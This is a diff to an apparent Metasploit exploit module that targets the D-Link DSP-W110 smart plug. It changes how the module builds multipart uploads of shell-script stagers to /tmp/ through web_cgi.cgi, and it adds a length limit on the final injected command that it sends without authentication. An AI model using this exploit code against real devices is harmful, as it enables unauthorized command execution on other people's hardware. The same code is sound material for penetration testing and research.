mime message

Author: Michael Messner

modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb

@@ -83,7 +83,7 @@ def exploit
     @counter = 1
     execute_cmdstager(
       :flavor  => :echo,
-      :linemax => 99  #limited by our upload, larger payloads crash the web server
+      :linemax => 95  #limited by our upload, larger payloads crash the web server
     )
 
     print_status("#{peer} - creating payload and executing it ...")
@@ -108,21 +108,22 @@ def execute_command(cmd,opts)
     #upload our stager to a shell script
     #upload takes quite long because there is no response from the web server
 
-    data_cmd = "------------------------------9bcdb049f0d2\r\n"
-    data_cmd << "Content-Disposition: form-data; name=\"name\"; filename=\"#{@counter}\"\r\n"
-    data_cmd << "Content-Type: application/octet-stream\r\n\r\n"
-    data_cmd << "#!/bin/sh\n"
-    data_cmd << cmd
-    data_cmd << "\n------------------------------9bcdb049f0d2--"
+    file_upload = "#!/bin/sh\n"
+    file_upload << cmd << "\n"
+
+    post_data = Rex::MIME::Message.new
+    post_data.add_part(file_upload, nil, "binary", "form-data; name=\"xxx\"; filename=\"#{@counter}\"")
+    post_data.bound = "-9bcdb049f0d2--"
+    file = post_data.to_s
 
     @counter = @counter + 1
 
     begin
       send_request_cgi({
         'method'        => 'POST',
         'uri'           => "/web_cgi.cgi?&request=UploadFile&path=/tmp/",
-        'ctype'         => "multipart/form-data; boundary=----------------------------9bcdb049f0d2",
-        'data'          => data_cmd
+        'ctype'         => "multipart/form-data; boundary=#{post_data.bound}",
+        'data'          => file
       })
     rescue ::Rex::ConnectionError
       fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
@@ -131,6 +132,7 @@ def execute_command(cmd,opts)
   end
 
   def execute_final_command(cmd)
+    fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18
     begin
       send_request_cgi({
         'method'        => 'GET',